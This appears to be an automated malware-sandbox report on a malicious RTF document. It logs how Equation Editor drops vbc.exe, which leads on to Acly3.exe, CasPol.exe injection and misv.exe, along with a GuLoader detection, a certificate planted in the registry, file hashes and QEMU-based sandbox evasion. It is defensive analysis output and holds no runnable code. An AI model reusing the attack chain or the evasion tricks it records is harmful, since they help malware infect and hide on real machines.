Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_005698BD 9_2_005698BD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569151 9_2_00569151
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0057095C 9_2_0057095C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056997D 9_2_0056997D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A56C 9_2_0056A56C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056916D 9_2_0056916D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A16D 9_2_0056A16D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569D1B 9_2_00569D1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569909 9_2_00569909
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569538 9_2_00569538
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_005699D6 9_2_005699D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_005691D7 9_2_005691D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056C1C8 9_2_0056C1C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A5E7 9_2_0056A5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569DEF 9_2_00569DEF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569D87 9_2_00569D87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_005695A6 9_2_005695A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A1A3 9_2_0056A1A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A64A 9_2_0056A64A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569A4B 9_2_00569A4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A266 9_2_0056A266
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056923F 9_2_0056923F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569E38 9_2_00569E38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056962D 9_2_0056962D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00568A2A 9_2_00568A2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569AF6 9_2_00569AF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A2F6 9_2_0056A2F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569696 9_2_00569696
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A693 9_2_0056A693
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569A9E 9_2_00569A9E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A286 9_2_0056A286
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_005692A0 9_2_005692A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569EA1 9_2_00569EA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569B51 9_2_00569B51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569740 9_2_00569740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A378 9_2_0056A378
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569F6E 9_2_00569F6E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056BB6C 9_2_0056BB6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056976D 9_2_0056976D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056BB6A 9_2_0056BB6A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569F15 9_2_00569F15
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569334 9_2_00569334
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00572332 9_2_00572332
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056BBD6 9_2_0056BBD6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056A3CE 9_2_0056A3CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569BC9 9_2_00569BC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569FC9 9_2_00569FC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056979C 9_2_0056979C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00560381 9_2_00560381
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056938D 9_2_0056938D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00569BA0 9_2_00569BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056BBA0 9_2_0056BBA0
Contains functionality to call native functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_005735BC NtProtectVirtualMemory, 9_2_005735BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056C6DF NtAllocateVirtualMemory, 9_2_0056C6DF
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~WRF{F8012674-B7CB-458D-8650-A31E79A66D61}.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Abnormal high CPU Usage
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process Stats: CPU usage > 98%
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process Stats: CPU usage > 98%
PE file contains strange resources
Source: Acly3.exe.3.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe C6F93EB69924750ADBE61115B2D6A200D534E783C6BD4CA0E2C0CD2969E9469E
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\Acly3.exe 7C9AEB4763912BE27C0B5CFE843642E4424902DD2EEFB1AD2DF6092EBF10A468
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Roaming\misv.exe 6D624544826CC99182030BB50757944FEE3734EA01E8C37A77A22214BFF4B9DF
Source: Joe Sandbox View Dropped File: C:\Users\Public\vbc.exe C6F93EB69924750ADBE61115B2D6A200D534E783C6BD4CA0E2C0CD2969E9469E
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\Public\vbc.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\misv.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\misv.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: T81Ip9NCGi.rtf ReversingLabs: Detection: 35%
Source: C:\Users\Public\vbc.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Users\Public\vbc.exe Process created: C:\Users\user\AppData\Local\Temp\Acly3.exe C:\Users\user\AppData\Local\Temp\Acly3.exe
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\AppData\Local\Temp\Acly3.exe
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\AppData\Local\Temp\Acly3.exe
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\AppData\Local\Temp\Acly3.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process created: C:\Users\user\AppData\Roaming\misv.exe "C:\Users\user\AppData\Roaming\misv.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\user\AppData\Local\Temp\Acly3.exe C:\Users\user\AppData\Local\Temp\Acly3.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\AppData\Local\Temp\Acly3.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\AppData\Local\Temp\Acly3.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\AppData\Local\Temp\Acly3.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process created: C:\Users\user\AppData\Roaming\misv.exe "C:\Users\user\AppData\Roaming\misv.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 3_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 3_2_0040352D
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$1Ip9NCGi.rtf Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRDC0C.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winRTF@14/13@3/1
Source: C:\Users\Public\vbc.exe Code function: 3_2_004021AA CoCreateInstance, 3_2_004021AA
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 3_2_0040498A GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 3_2_0040498A
Source: CasPol.exe, 00000009.00000002.687534947.000000001E1D0000.00000002.00020000.sdmp Binary or memory string: .VBPud<_
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: C:\Program Files (x86)\Administrator-Cloud\Projects\Acly3.pdb source: vbc.exe, 00000003.00000002.416790388.000000000040D000.00000004.00020000.sdmp, vbc.exe, 00000003.00000002.416819547.0000000000427000.00000004.00020000.sdmp, Acly3.exe.3.dr
Source: ~WRF{F8012674-B7CB-458D-8650-A31E79A66D61}.tmp.0.dr Initial sample: OLE indicators vbamacros = False

Data Obfuscation:

barindex
Yara detected GuLoader
Source: Yara match File source: 00000004.00000002.679995330.00000000003E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.679892617.0000000000560000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.560395041.0000000000560000.00000040.00000001.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Code function: 4_2_003E1E1A push edi; iretd 4_2_003E1E1C
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Code function: 4_2_003E416D pushfd ; ret 4_2_003E4171
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Code function: 4_2_003E2A8B pushfd ; retf 4_2_003E2A8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056CCF0 push dword ptr [edx]; retn 5B3Bh 9_2_0056DE5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00562A5E pushad ; ret 9_2_00562A61

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File created: C:\Users\user\AppData\Roaming\misv.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\Acly3.exe Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file

Boot Survival:

barindex
Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

barindex
Stores large binary data to the registry
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\misv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\misv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\misv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\misv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\misv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\misv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\misv.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect Any.run
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: CasPol.exe, 00000009.00000002.679794080.0000000000190000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
